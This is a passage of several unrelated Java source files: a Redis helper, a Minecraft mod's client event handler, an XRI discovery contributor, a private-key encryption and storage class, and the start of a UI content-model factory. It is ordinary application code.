if(jedis != null) {
jedis.close();
}
}
}
/**
* sadd
* @param key
* @param value
* @param seconds
*/
public synchronized static void sadd(String key, String value, int seconds) {
Jedis jedis = null;
try {
jedis = RedisUtil.getJedis();
jedis.sadd(key, value);
jedis.expire(key, seconds);
jedis.close();
} catch (Exception e) {
_log.error("sadd error : " + e);
} finally {
if(jedis != null) {
jedis.close();
}
}
}
}
|
package aeronicamc.mods.mxtune.events;
import aeronicamc.mods.mxtune.Reference;
import aeronicamc.mods.mxtune.init.ModBlocks;
import aeronicamc.mods.mxtune.init.ModItems;
import aeronicamc.mods.mxtune.util.IInstrument;
import aeronicamc.mods.mxtune.util.SheetMusicHelper;
import net.minecraft.client.Minecraft;
import net.minecraft.client.gui.FontRenderer;
import net.minecraft.entity.player.PlayerEntity;
import net.minecraft.item.ItemStack;
import net.minecraft.util.text.TextFormatting;
import net.minecraft.util.text.TranslationTextComponent;
import net.minecraftforge.api.distmarker.Dist;
import net.minecraftforge.client.event.RenderGameOverlayEvent;
import net.minecraftforge.event.entity.player.ItemTooltipEvent;
import net.minecraftforge.eventbus.api.SubscribeEvent;
import net.minecraftforge.fml.common.Mod;
@Mod.EventBusSubscriber(modid = Reference.MOD_ID, value = Dist.CLIENT)
public class RenderEvents
{
private static final Minecraft mc = Minecraft.getInstance();
@SubscribeEvent
public static void event(ItemTooltipEvent event)
{
if (event.getItemStack().getItem().equals(ModBlocks.MUSIC_BLOCK.get().asItem()))
event.getToolTip().add(new TranslationTextComponent("tooltip.mxtune.block_music.help").withStyle(TextFormatting.YELLOW));
else if (event.getItemStack().getItem().equals(ModItems.MUSIC_PAPER.get()))
event.getToolTip().add(new TranslationTextComponent("tooltip.mxtune.music_paper.help").withStyle(TextFormatting.YELLOW));
}
@SubscribeEvent
public static void event(RenderGameOverlayEvent.Post event)
{
PlayerEntity player = mc.player;
ItemStack itemStack = player.inventory.getSelected();
if (event.getType() == RenderGameOverlayEvent.ElementType.ALL && (mc.screen == null) && itemStack.getItem() instanceof IInstrument)
{
FontRenderer fontRenderer = Minecraft.getInstance().font;
ItemStack sheetMusic = SheetMusicHelper.getIMusicFromIInstrument(itemStack);
fontRenderer.drawShadow(event.getMatrixStack(), SheetMusicHelper.getFormattedMusicTitle(sheetMusic), 10, 10, -1);
}
}
}
|
package biz.neustar.discovery;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.openxri.xml.CanonicalID;
import org.openxri.xml.SEPType;
import org.openxri.xml.SEPUri;
import org.openxri.xml.Service;
import org.openxri.xml.Status;
import org.openxri.xml.XRD;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import xdi2.core.features.equivalence.Equivalence;
import xdi2.core.features.nodetypes.XdiAbstractMemberUnordered;
import xdi2.core.features.nodetypes.XdiAttributeCollection;
import xdi2.core.features.nodetypes.XdiAttributeMember;
import xdi2.core.features.nodetypes.XdiAttributeSingleton;
import xdi2.core.features.nodetypes.XdiLocalRoot;
import xdi2.core.features.nodetypes.XdiPeerRoot;
import xdi2.core.util.XRI2Util;
import xdi2.core.xri3.CloudNumber;
import xdi2.core.xri3.XDI3Segment;
import xdi2.core.xri3.XDI3SubSegment;
import xdi2.messaging.GetOperation;
import xdi2.messaging.MessageEnvelope;
import xdi2.messaging.MessageResult;
import xdi2.messaging.context.ExecutionContext;
import xdi2.messaging.exceptions.Xdi2MessagingException;
import xdi2.messaging.target.contributor.AbstractContributor;
import xdi2.messaging.target.contributor.ContributorResult;
import xdi2.messaging.target.contributor.ContributorXri;
import xdi2.messaging.target.interceptor.InterceptorResult;
import xdi2.messaging.target.interceptor.MessageEnvelopeInterceptor;
import biz.neustar.discovery.resolver.XRI2Resolver;
import biz.neustar.discovery.resolver.XRI2XNSResolver;
@ContributorXri(addresses={"{()}"})
public class DiscoveryContributor extends AbstractContributor implements MessageEnvelopeInterceptor {
private static final Logger log = LoggerFactory.getLogger(DiscoveryContributor.class);
public static final XDI3SubSegment XRI_SS_AC_URI = XDI3SubSegment.create("[<$uri>]");
public static final XDI3SubSegment XRI_SS_AS_URI = XDI3SubSegment.create("<$uri>");
private XRI2Resolver resolver = new XRI2XNSResolver();
@Override
public ContributorResult executeGetOnAddress(XDI3Segment[] contributorXris, XDI3Segment contributorsXri, XDI3Segment relativeTargetAddress, GetOperation operation, MessageResult messageResult, ExecutionContext executionContext) throws Xdi2MessagingException {
// prepare XRI
XDI3Segment requestedXdiPeerRootXri = contributorXris[contributorXris.length - 1];
XDI3Segment resolveXri = XdiPeerRoot.getXriOfPeerRootArcXri(requestedXdiPeerRootXri.getFirstSubSegment());
if (resolveXri == null) return ContributorResult.DEFAULT;
CloudNumber resolveCloudNumber = CloudNumber.fromXri(resolveXri);
String resolveINumber = resolveCloudNumber == null ? null : XRI2Util.cloudNumberToINumber(resolveCloudNumber);
if (resolveINumber != null) resolveXri = XDI3Segment.create(resolveINumber);
// resolve the XRI
if (log.isDebugEnabled()) log.debug("Resolving " + resolveXri);
XRD xrd;
try {
xrd = this.resolver.resolve(resolveXri);
if (xrd == null) throw new Exception("No XRD.");
} catch (Exception ex) {
throw new Xdi2MessagingException("XRI Resolution 2.0 XRD Problem: " + ex.getMessage(), ex, executionContext);
}
if (log.isDebugEnabled()) log.debug("XRD: " + xrd);
if (log.isDebugEnabled()) log.debug("XRD Status: " + xrd.getStatus().getCode());
if ((! Status.SUCCESS.equals(xrd.getStatusCode())) && (! Status.SEP_NOT_FOUND.equals(xrd.getStatusCode()))) {
throw new Xdi2MessagingException("XRI Resolution 2.0 Status Problem: " + xrd.getStatusCode() + " (" + xrd.getStatus().getValue() + ")", null, executionContext);
}
// extract cloud number
CanonicalID canonicalID = xrd.getCanonicalID();
if (canonicalID == null) throw new Xdi2MessagingException("Unable to read CanonicalID from XRD.", null, executionContext);
String iNumber = canonicalID.getValue();
CloudNumber cloudNumber = XRI2Util.iNumberToCloudNumber(iNumber);
if (cloudNumber == null) cloudNumber = CloudNumber.create(iNumber);
if (cloudNumber == null) throw new Xdi2MessagingException("Unable to read Cloud Number from CanonicalID: " + xrd.getCanonicalID().getValue(), null, executionContext);
if (log.isDebugEnabled()) log.debug("Cloud Number: " + cloudNumber);
// extract URIs
Map<String, List<String>> uriMap = new HashMap<String, List<String>> ();
for (int i=0; i<xrd.getNumServices(); i++) {
Service service = xrd.getServiceAt(i);
if (service.getNumTypes() == 0) continue;
for (int ii=0; ii<service.getNumTypes(); ii++) {
SEPType type = service.getTypeAt(ii);
if (type == null || type.getType() == null || type.getType().trim().isEmpty()) continue;
List<String> uriList = uriMap.get(type.getType());
if (uriList == null) {
uriList = new ArrayList<String> ();
uriMap.put(type.getType(), uriList);
}
List<?> uris = service.getURIs();
Collections.sort(uris, new Comparator<Object> () {
@Override
public int compare(Object uri1, Object uri2) {
Integer priority1 = ((SEPUri) uri1).getPriority();
Integer priority2 = ((SEPUri) uri2).getPriority();
if (priority1 == null && priority2 == null) return 0;
if (priority1 == null && priority2 != null) return 1;
if (priority1 != null && priority2 == null) return -1;
if (priority1.intValue() == priority2.intValue()) return 0;
return priority1.intValue() > priority2.intValue() ? 1 : -1;
}
});
for (int iii = 0; iii<uris.size(); iii++) {
SEPUri uri = (SEPUri) uris.get(iii);
if (uri == null || uri.getUriString() == null || uri.getUriString().trim().isEmpty()) continue;
uriList.add(uri.getUriString());
}
}
}
if (log.isDebugEnabled()) log.debug("URIs: " + uriMap);
// extract default URI
List<?> list = xrd.getSelectedServices().getList();
Service defaultUriService = list.size() > 0 ? (Service) list.get(0) : null;
String defaultUri = defaultUriService == null ? null : defaultUriService.getURIAt(0).getUriString();
if (log.isDebugEnabled()) log.debug("Default URI: " + defaultUri);
// prepare result graph
XdiPeerRoot requestedXdiPeerRoot = XdiPeerRoot.fromContextNode(messageResult.getGraph().setDeepContextNode(requestedXdiPeerRootXri));
// add original peer root
if (! cloudNumber.getXri().equals(requestedXdiPeerRoot.getXriOfPeerRoot())) {
XdiPeerRoot cloudNumberXdiPeerRoot = XdiLocalRoot.findLocalRoot(messageResult.getGraph()).findPeerRoot(cloudNumber.getXri(), true);
Equivalence.setReferenceContextNode(requestedXdiPeerRoot.getContextNode(), cloudNumberXdiPeerRoot.getContextNode());
return new ContributorResult(false, false, true);
}
// add all URIs for all types
XdiAttributeCollection uriXdiAttributeCollection = requestedXdiPeerRoot.getXdiAttributeCollection(XRI_SS_AC_URI, true);
for (Entry<String, List<String>> uriMapEntry : uriMap.entrySet()) {
String type = uriMapEntry.getKey();
List<String> uriList = uriMapEntry.getValue();
XDI3SubSegment typeXdiArcXri = XRI2Util.typeToXdiArcXri(type);
for (String uri : uriList) {
if (log.isDebugEnabled()) log.debug("Mapping URI " + uri + " for type XRI " + typeXdiArcXri);
XDI3SubSegment uriXdiMemberUnorderedArcXri = XdiAbstractMemberUnordered.createDigestArcXri(uri, true);
XdiAttributeMember uriXdiAttributeMember = uriXdiAttributeCollection.setXdiMemberUnordered(uriXdiMemberUnorderedArcXri);
uriXdiAttributeMember.getXdiValue(true).getContextNode().setLiteral(uri);
XdiAttributeCollection typeXdiAttributeCollection = requestedXdiPeerRoot.getXdiAttributeSingleton(typeXdiArcXri, true).getXdiAttributeCollection(XRI_SS_AC_URI, true);
XdiAttributeMember typeXdiAttributeMember = typeXdiAttributeCollection.setXdiMemberOrdered(-1);
Equivalence.setReferenceContextNode(typeXdiAttributeMember.getContextNode(), uriXdiAttributeMember.getContextNode());
}
// add default URI for this type
if (uriList.size() > 0) {
String defaultUriForType = uriList.get(0);
if (log.isDebugEnabled()) log.debug("Mapping default URI " + defaultUriForType + " for type XRI " + typeXdiArcXri);
XDI3SubSegment defaultUriForTypeXdiMemberUnorderedArcXri = XdiAbstractMemberUnordered.createDigestArcXri(defaultUriForType, true);
XdiAttributeMember defaultUriForTypeXdiAttributeMember = uriXdiAttributeCollection.setXdiMemberUnordered(defaultUriForTypeXdiMemberUnorderedArcXri);
XdiAttributeSingleton defaultUriForTypeXdiAttributeSingleton = requestedXdiPeerRoot.getXdiAttributeSingleton(typeXdiArcXri, true).getXdiAttributeSingleton(XRI_SS_AS_URI, true);
Equivalence.setReferenceContextNode(defaultUriForTypeXdiAttributeSingleton.getContextNode(), defaultUriForTypeXdiAttributeMember.getContextNode());
}
}
// add default URI
if (defaultUri != null) {
if (log.isDebugEnabled()) log.debug("Mapping default URI " + defaultUri);
XDI3SubSegment defaultUriXdiMemberUnorderedArcXri = XdiAbstractMemberUnordered.createDigestArcXri(defaultUri, true);
XdiAttributeMember defaultUriXdiAttributeMember = uriXdiAttributeCollection.setXdiMemberUnordered(defaultUriXdiMemberUnorderedArcXri);
XdiAttributeSingleton defaultUriXdiAttributeSingleton = requestedXdiPeerRoot.getXdiAttributeSingleton(XRI_SS_AS_URI, true);
Equivalence.setReferenceContextNode(defaultUriXdiAttributeSingleton.getContextNode(), defaultUriXdiAttributeMember.getContextNode());
}
// done
return new ContributorResult(false, false, true);
}
/*
* MessageEnvelopeInterceptor
*/
@Override
public InterceptorResult before(MessageEnvelope messageEnvelope, MessageResult messageResult, ExecutionContext executionContext) throws Xdi2MessagingException {
this.getResolver().reset();
return InterceptorResult.DEFAULT;
}
@Override
public InterceptorResult after(MessageEnvelope messageEnvelope, MessageResult messageResult, ExecutionContext executionContext) throws Xdi2MessagingException {
return InterceptorResult.DEFAULT;
}
@Override
public void exception(MessageEnvelope messageEnvelope, MessageResult messageResult, ExecutionContext executionContext, Exception ex) {
}
/*
* Getters and setters
*/
public XRI2Resolver getResolver() {
return this.resolver;
}
public void setResolver(XRI2Resolver resolver) {
this.resolver = resolver;
}
}
|
package com.db.crypto;
import com.db.logging.Logger;
import com.db.logging.LoggerManager;
import com.db.util.Base64Coder;
import java.security.PrivateKey;
/**
* A convenient private key cryptor class. Used to generate and store
* encrypted private keys on disk and in memory.
*
* FIXME: This class could use some clean up and simplification.
*
* @author Dave Longley
*/
public class PrivateKeyCryptor
{
/**
* The encrypted private key.
*/
protected byte[] mPrivateKey = null;
/**
* The plain-text public key.
*/
protected String mPublicKey;
/**
* The cryptor for the private key password.
*/
protected Cryptor mPasswordCryptor;
/**
* The encrypted private key password.
*/
protected String mEncryptedPassword;
/**
* The name of the private key file.
*/
protected String mKeyFilename;
/**
* The error associated with loading a private key, etc, if any.
*/
protected String mError;
/**
* Creates a new private key cryptor. The private key filename and
* password for the private key must be set before trying to load
* a private key.
*/
public PrivateKeyCryptor()
{
mPrivateKey = null;
mKeyFilename = null;
mEncryptedPassword = null;
mError = "";
}
/**
* Creates a new private key cryptor.
*
* @param keyFilename the name of the file to store the private key in.
* @param password the password to store the file with.
*/
public PrivateKeyCryptor(String keyFilename, String password)
{
mPrivateKey = null;
mKeyFilename = keyFilename;
mError = "";
storePasswordInMemory(password);
}
/**
* Convenience method. Encrypts and stores the private key password
* in memory.
*
* @param password the plain-text password to store.
*
* @return true if successfully stored, false if not.
*/
protected boolean storePasswordInMemory(String password)
{
boolean rval = false;
getLogger().debug(getClass(),
"Creating cryptor for storing encrypted password...");
// get a new password cryptor
mPasswordCryptor = new Cryptor();
// store the password
mEncryptedPassword = mPasswordCryptor.encrypt(password);
if(mEncryptedPassword != null)
{
rval = true;
}
return rval;
}
/**
* Convenience method. Retrieves the encrypted private key password from
* memory and decrypts it into plain-text.
*
* @return the decrypted plain-text password or null if there was
* an error.
*/
protected String getDecryptedPassword()
{
String password = null;
if(mPasswordCryptor != null)
{
password = mPasswordCryptor.decrypt(mEncryptedPassword);
}
return password;
}
/**
* Stores the private key in memory.
*
* @param encodedBytes the private key in encoded bytes.
* @param password the password for the private key.
*
* @return true if the private key was stored, false if not.
*/
protected boolean storePrivateKeyInMemory(
byte[] encodedBytes, String password)
{
boolean rval = false;
// store the encrypted private key in memory
if(encodedBytes != null)
{
// store the encrypted private key
mPrivateKey = Cryptor.encrypt(encodedBytes, password);
rval = true;
}
return rval;
}
/**
* Convenience method. Takes a key manager and stores its private key
* in an encrypted string.
*
* @param km the key manager to get the private key from.
* @param password the password to store the private key with.
*
* @return true if successfully stored, false if not.
*/
protected boolean storePrivateKeyInMemory(KeyManager km, String password)
{
boolean rval = false;
// store the encrypted private key in memory
if(km.getPrivateKey() != null)
{
// store the encrypted private key
byte[] encodedBytes = km.getPrivateKey().getEncoded();
rval = storePrivateKeyInMemory(encodedBytes, password);
}
return rval;
}
/**
* Clears the private key from memory.
*/
protected void clearPrivateKeyFromMemory()
{
mPrivateKey = null;
}
/**
* Convenience method. Gets the private key as an encoded array of bytes.
*
* @return the encoded private key bytes or null.
*/
protected byte[] getPrivateKeyEncodedBytes()
{
byte[] encodedKey = null;
// get the decrypted password
String password = getDecryptedPassword();
if(password != null)
{
if(mPrivateKey == null)
{
// load key from disk
KeyManager km = new KeyManager();
if(km.loadPrivateKey(mKeyFilename, password))
{
// store the private key in memory
storePrivateKeyInMemory(km, password);
}
else
{
setError(km.getError());
getLogger().debug(getClass(),
"ERROR - invalid password!");
}
}
// make sure private key has been stored
if(mPrivateKey != null)
{
// decrypt the private key
encodedKey = Cryptor.decrypt(mPrivateKey, password);
}
}
else
{
getLogger().debug(getClass(),
"ERROR - cannot use null password!");
}
return encodedKey;
}
/**
* Sets the error that occurred.
*
* @param error the error to set.
*/
public void setError(String error)
{
mError = error;
}
/**
* Generates a new set of public and private keys using the
* password and keyfile in memory. Will overwrite the old keys stored
* in memory and write the private key to disk.
*
* @return true if successful, false if not.
*/
public boolean generateKeys()
{
return generateKeys(getPrivateKeyFilename(), getDecryptedPassword());
}
/**
* Generates a new set of public and private keys using the private key
* filename in memory. Will overwrite the old keys stored in memory and
* write the private key to disk.
*
* @param password the password to use.
*
* @return true if successful, false if not.
*/
public boolean generateKeys(String password)
{
return generateKeys(getPrivateKeyFilename(), password);
}
/**
* Generates a new set of public and private keys. Will overwrite
* the old keys stored in memory and save the private key on disk.
*
* @param keyFilename the private key filename to use.
* @param password the password to use.
*
* @return true if successful, false if not.
*/
public boolean generateKeys(String keyFilename, String password)
{
boolean rval = false;
if(password != null)
{
// update private key file name
mKeyFilename = keyFilename;
// create a key manager and generate a pair of public/private keys
KeyManager km = new KeyManager();
if(km.generateKeyPair())
{
// store the new password
if(storePasswordInMemory(password))
{
// get the private key password
// we decrypt the password here to verify that it
// was stored in memory
password = getDecryptedPassword();
if(password != null)
{
// store private key on disk
if(km.storePrivateKey(mKeyFilename, password))
{
// store the keys in memory
if(storePrivateKeyInMemory(km, password))
{
// store the public key in memory
mPublicKey = km.getPublicKeyString();
rval = true;
}
else
{
getLogger().debug(getClass(),
"ERROR - could not store keys!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - could not store key file!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - could not decrypt password!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - could not store " +
"encrypted password!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - could not generate keys!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - cannot generate keys with null password!");
}
return rval;
}
/**
* Generates a new set of public and private keys. Will overwrite
* the old keys stored in memory. The private key will not be written to
* disk.
*
* @param password the password to use.
*
* @return true if successful, false if not.
*/
public boolean generateKeysInMemory(String password)
{
boolean rval = false;
if(password != null)
{
// create a key manager and generate a pair of public/private keys
KeyManager km = new KeyManager();
if(km.generateKeyPair())
{
// store the new password
if(storePasswordInMemory(password))
{
// get the private key password
// we decrypt the password here to verify that it
// was stored in memory
password = getDecryptedPassword();
if(password != null)
{
// store the keys in memory
if(storePrivateKeyInMemory(km, password))
{
// store the public key in memory
mPublicKey = km.getPublicKeyString();
rval = true;
}
else
{
getLogger().debug(getClass(),
"ERROR - could not store keys in memory!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - could not decrypt password!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - could not store encrypted password!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - could not generate keys!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - cannot generate keys with null password!");
}
return rval;
}
/**
* Retrieves the encrypted private key password from memory.
*
* @return the encryped private key password or null.
*/
public String getEncryptedPassword()
{
return mEncryptedPassword;
}
/**
* Decrypts the encrypted in-memory private key password and returns
* it in plain-text.
*
* @return the plain-text password.
*/
public String getPlainTextPassword()
{
return getDecryptedPassword();
}
/**
* Sets the private key.
*
* @param pkey the private key.
*
* @return true if the private key was set, false if not.
*/
public boolean setPrivateKey(PrivateKey pkey)
{
boolean rval = false;
// store the encrypted private key in memory
if(pkey != null)
{
// store the encrypted private key
byte[] encodedBytes = pkey.getEncoded();
rval = storePrivateKeyInMemory(encodedBytes, getDecryptedPassword());
}
return rval;
}
/**
* Sets the private key from the passed encrypted key (encoded in base64)
* that is locked with the passed password.
*
* @param encryptedKey the encrypted key in a base64-encoded string.
* @param password the password to unlock the file.
*
* @return true if successful, false if not.
*/
public boolean setEncryptedPrivateKey(String encryptedKey, String password)
{
boolean rval = false;
Base64Coder base64 = new Base64Coder();
byte[] bytes = base64.decode(encryptedKey);
rval = setEncryptedPrivateKey(bytes, password);
return rval;
}
/**
* Sets the private key from the passed encrypted key bytes
* that are locked with the passed password.
*
* @param encryptedKey the encrypted key in a byte array.
* @param password the password to unlock the file.
*
* @return true if successful, false if not.
*/
public boolean setEncryptedPrivateKey(byte[] encryptedKey, String password)
{
boolean rval = false;
try
{
// decrypt the key with the passed password
byte[] decryptedKey = Cryptor.decrypt(encryptedKey, password);
// if decryptedKey is not null, decode the key
if(decryptedKey != null)
{
// set password
if(setPassword(password))
{
rval = setPrivateKey(KeyManager.decodePrivateKey(decryptedKey));
}
}
else
{
getLogger().debug(getClass(),
"Could not unlock encrypted private key.");
}
}
catch(Throwable t)
{
getLogger().error(getClass(),
"Unable to load encrypted private key.");
getLogger().debug(getClass(), Logger.getStackTrace(t));
}
return rval;
}
/**
* Gets the private key as java.security.PrivateKey object.
*
* @return the private key or null.
*/
public PrivateKey getPrivateKey()
{
PrivateKey pkey = null;
byte[] encodedKey = getPrivateKeyEncodedBytes();
if(encodedKey != null)
{
// decode the private key
pkey = KeyManager.decodePrivateKey(encodedKey);
}
else
{
getLogger().debug(getClass(),
"ERROR - could not get encoded key!");
}
return pkey;
}
/**
* Gets the private key as a PKCS8-Base64 string.
*
* @return the private key or null.
*/
public String getPrivateKeyString()
{
String pkey = null;
byte[] encodedKey = getPrivateKeyEncodedBytes();
if(encodedKey != null)
{
// encode the private key as a string
pkey = KeyManager.encodeKey(encodedKey);
}
else
{
getLogger().debug(getClass(),
"ERROR - could not get encoded key!");
}
return pkey;
}
/**
* Gets the private key in encrypted form.
*
* @return the encrypted private key bytes or null.
*/
public byte[] getEncryptedPrivateKeyBytes()
{
if(mPrivateKey == null)
{
String password = getDecryptedPassword();
if(password != null)
{
// load key from disk
KeyManager km = new KeyManager();
if(km.loadPrivateKey(mKeyFilename, password))
{
// store the private key in memory
storePrivateKeyInMemory(km, password);
}
else
{
setError(km.getError());
getLogger().debug(getClass(),
"ERROR - invalid password!");
}
}
else
{
getLogger().debug(getClass(),
"ERROR - cannot use null password!");
}
}
return mPrivateKey;
}
/**
* Gets the private key in encrypted form as a base64-encoded string.
*
* @return the encrypted private key bytes base64-encoded or null.
*/
public String getEncryptedPrivateKeyString()
{
String rval = null;
byte[] encryptedBytes = getEncryptedPrivateKeyBytes();
if(encryptedBytes != null)
{
Base64Coder base64 = new Base64Coder();
rval = base64.encode(encryptedBytes);
}
return rval;
}
/**
* Gets the public key as a X.509-Base64 string.
*
* @return the public key or null.
*/
public String getPublicKeyString()
{
return mPublicKey;
}
/**
* Tries to verify that the password stored in memory unlocks the
* private key stored in the private key file.
*
* @return true if verified, false if not.
*/
public boolean verify()
{
return verify(getDecryptedPassword());
}
/**
* Sets the password and then tries to verify that the password unlocks the
* private key stored in the private key file.
*
* @param password the password to set and verify.
*
* @return true if verified, false if not.
*/
public boolean verify(String password)
{
return verify(getPrivateKeyFilename(), password);
}
/**
* Sets the private key filename and the password and then tries to
* verify that the password unlocks the private key stored in the
* private key file.
*
* @param keyFilename the private key filename.
* @param password the password to set and verify.
*
* @return true if verified, false if not.
*/
public boolean verify(String keyFilename, String password)
{
boolean rval = false;
if(setPassword(password))
{
setPrivateKeyFilename(keyFilename);
if(getPrivateKey() != null)
{
rval = true;
}
}
return rval;
}
/**
* Sets the private key password that is stored in memory. This does
* not update the private key file.
*
* @param password the plain-text password.
*
* @return true if successful, false if not.
*/
public boolean setPassword(String password)
{
clearPrivateKeyFromMemory();
return storePasswordInMemory(password);
}
/**
* Sets the private key filename.
*
* @param keyFilename the name of the private key file.
*/
public void setPrivateKeyFilename(String keyFilename)
{
clearPrivateKeyFromMemory();
mKeyFilename = keyFilename;
}
/**
* Gets the previously set private key filename.
*
* @return the private key filename.
*/
public String getPrivateKeyFilename()
{
return mKeyFilename;
}
/**
* Clears the private key password and private key from memory.
*/
public void clear()
{
clearPrivateKeyFromMemory();
mEncryptedPassword = null;
}
/**
* Gets the error that was associated with loading a private key, etc,
* if there was any.
*
* @return the error associated with loading a private key, etc, if any.
*/
public String getError()
{
return mError;
}
/**
* Gets the logger for this private key cryptor.
*
* @return the logger for this private key cryptor.
*/
public Logger getLogger()
{
return LoggerManager.getLogger("dbcrypto");
}
}
|
package chav1961.purelib.model;
import java.awt.event.ActionEvent;
import java.io.IOException;
import java.io.InputStream;
import java.io.Reader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.net.URI;
import java.sql.DatabaseMetaData;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.ServiceLoader;
import javax.xml.XMLConstants;
import javax.xml.namespace.NamespaceContext;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathConstants;
import javax.xml.xpath.XPathExpressionException;
import javax.xml.xpath.XPathFactory;
import org.w3c.dom.Attr;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import chav1961.purelib.basic.URIUtils;
import chav1961.purelib.basic.exceptions.ContentException;
import chav1961.purelib.basic.exceptions.EnvironmentException;
import chav1961.purelib.basic.exceptions.LocalizationException;
import chav1961.purelib.basic.exceptions.PreparationException;
import chav1961.purelib.basic.exceptions.SyntaxException;
import chav1961.purelib.basic.xsd.XSDConst;
import chav1961.purelib.enumerations.XSDCollection;
import chav1961.purelib.i18n.PureLibLocalizer;
import chav1961.purelib.i18n.interfaces.LocaleResource;
import chav1961.purelib.i18n.interfaces.LocaleResourceLocation;
import chav1961.purelib.model.interfaces.ContentMetadataInterface;
import chav1961.purelib.model.interfaces.ContentMetadataInterface.ContentNodeMetadata;
import chav1961.purelib.model.interfaces.SPIServiceNavigationMember;
import chav1961.purelib.sql.SQLUtils;
import chav1961.purelib.streams.JsonStaxParser;
import chav1961.purelib.ui.interfaces.Action;
import chav1961.purelib.ui.interfaces.Format;
import chav1961.purelib.ui.interfaces.MultiAction;
import chav1961.purelib.ui.interfaces.RefreshMode;
/**
* <p>THis class is a factory for most model sources. It can load models from external sources or build models by existent entities.</p>
* @author Alexander Chernomyrdin aka chav1961
* @since 0.0.3
* @lastUpdate 0.0.5
*/
public class ContentModelFactory {
private static final String NAMESPACE_PREFIX = "app";
private static final String NAMESPACE_VALUE = "http://ui.purelib.chav1961/";
private static final String XML_TAG_APP_ROOT = NAMESPACE_PREFIX+":root";
private static final String XML_TAG_APP_I18N = NAMESPACE_PREFIX+":i18n";
private static final String XML_TAG_APP_TITLE = NAMESPACE_PREFIX+":title";
private static final String XML_TAG_APP_MENU = NAMESPACE_PREFIX+":menu";
private static final String XML_TAG_APP_SUBMENU = NAMESPACE_PREFIX+":submenu";
private static final String XML_TAG_APP_ITEM = NAMESPACE_PREFIX+":item";
private static final String XML_TAG_APP_SUBMENU_REF = NAMESPACE_PREFIX+":submenuref";
private static final String XML_TAG_APP_ITEM_REF = NAMESPACE_PREFIX+":itemref";
private static final String XML_TAG_APP_SEPARATOR = NAMESPACE_PREFIX+":separator";
private static final String XML_TAG_APP_PLACEHOLDER = NAMESPACE_PREFIX+":placeholder";
private static final String XML_TAG_APP_BUILTIN_SUBMENU = NAMESPACE_PREFIX+":builtinSubmenu";
private static final String XML_TAG_APP_KEYSET = NAMESPACE_PREFIX+":keyset";
private static final String XML_TAG_APP_KEY = NAMESPACE_PREFIX+":key";
private static final String XML_ATTR_ID = "id";
private static final String XML_ATTR_NAME = "name";
private static final String XML_ATTR_REF = "ref";
private static final String XML_ATTR_TYPE = "type";
private static final String XML_ATTR_LABEL = "label";
private static final String XML_ATTR_CAPTION = "caption";
private static final String XML_ATTR_TOOLTIP = "tooltip";
private static final String XML_ATTR_HELP = "help";
private static final String XML_ATTR_FORMAT = "format";
private static final String XML_ATTR_ACTION = "action";
private static final String XML_ATTR_KEYSET = "keyset";
private static final String XML_ATTR_GROUP = "group";
private static final String XML_ATTR_CHECKABLE = "checkable";
private static final String XML_ATTR_CHECKED = "checked";
private static final String XML_ATTR_ICON = "icon";
public static ContentMetadataInterface forAnnotatedClass(final Class<?> clazz) throws NullPointerException, IllegalArgumentException, LocalizationException, ContentException {
if (clazz == null) {
throw new NullPointerException("Clazz to build model for can't be null");
}
else if (!clazz.isAnnotationPresent(LocaleResource.class)) {
throw new IllegalArgumentException("Class ["+clazz+"] is not annotated with @LocaleResource");
}
else {
final URI localizerResource = clazz.isAnnotationPresent(LocaleResourceLocation.class) ? URI.create(clazz.getAnnotation(LocaleResourceLocation.class).value()) : null;
final List<Field> fields = new ArrayList<>();
final LocaleResource localeResource = clazz.getAnnotation(LocaleResource.class);
if (localeResource.value().isEmpty()) {
throw new IllegalArgumentException("Class ["+clazz+"]: @LocaleResource annotation has empty value");
}
else {
final MutableContentNodeMetadata root = new MutableContentNodeMetadata("class"
, clazz
, clazz.getCanonicalName()
, localizerResource
, localeResource.value()
, localeResource.tooltip()
, localeResource.help()
, null
, ModelUtils.buildUriByClass(clazz)
, null);
collectFields(clazz,fields,true);
if (fields.size() == 0) {
throw new IllegalArgumentException("Class ["+clazz+"] doesn't contain any fields annotated with @LocaleResource or @Format");
}
else {
for (Field f : fields) {
final Class<?> type = f.getType();
final LocaleResource fieldLocaleResource = f.getAnnotation(LocaleResource.class);
final MutableContentNodeMetadata metadata = new MutableContentNodeMetadata(f.getName()
, type
, f.getName()+"/"+escapeBrackets(type.getCanonicalName())
, null
, fieldLocaleResource == null ? "?" : fieldLocaleResource.value()
, fieldLocaleResource == null ? null : fieldLocaleResource.tooltip()
, fieldLocaleResource == null ? null : fieldLocaleResource.help()
, f.isAnnotationPresent(Format.class)
? new FieldFormat(type, f.getAnnotation(Format.class).value(), f.getAnnotation(Format.class).wizardType())
: null
, buildClassFieldApplicationURI(clazz,f)
, null
);
if (f.isAnnotationPresent(MultiAction.class) || f.isAnnotationPresent(Action.class)) {
collectActions(clazz,f,metadata);
}
root.addChild(metadata);
metadata.setParent(root);
}
if (clazz.isAnnotationPresent(MultiAction.class) || clazz.isAnnotationPresent(Action.class)) {
collectActions(clazz,root);
}
final List<Method> methods = new ArrayList<>();
collectMethods(clazz,methods,true);
if (methods.size() > 0) {
for (Method m : methods) {
if (m.isAnnotationPresent(MultiAction.class) || m.isAnnotationPresent(Action.class)) {
collectActions(clazz,m,root);
}
}
}
final SimpleContentMetadata result = new SimpleContentMetadata(root);
root.setOwner(result);
